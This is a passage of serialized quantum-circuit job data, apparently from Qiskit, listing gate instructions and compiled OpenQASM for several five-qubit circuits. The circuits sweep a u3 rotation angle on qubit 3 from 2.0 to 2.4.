[], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1227', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1229', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1231', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.3000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1233', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.4000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 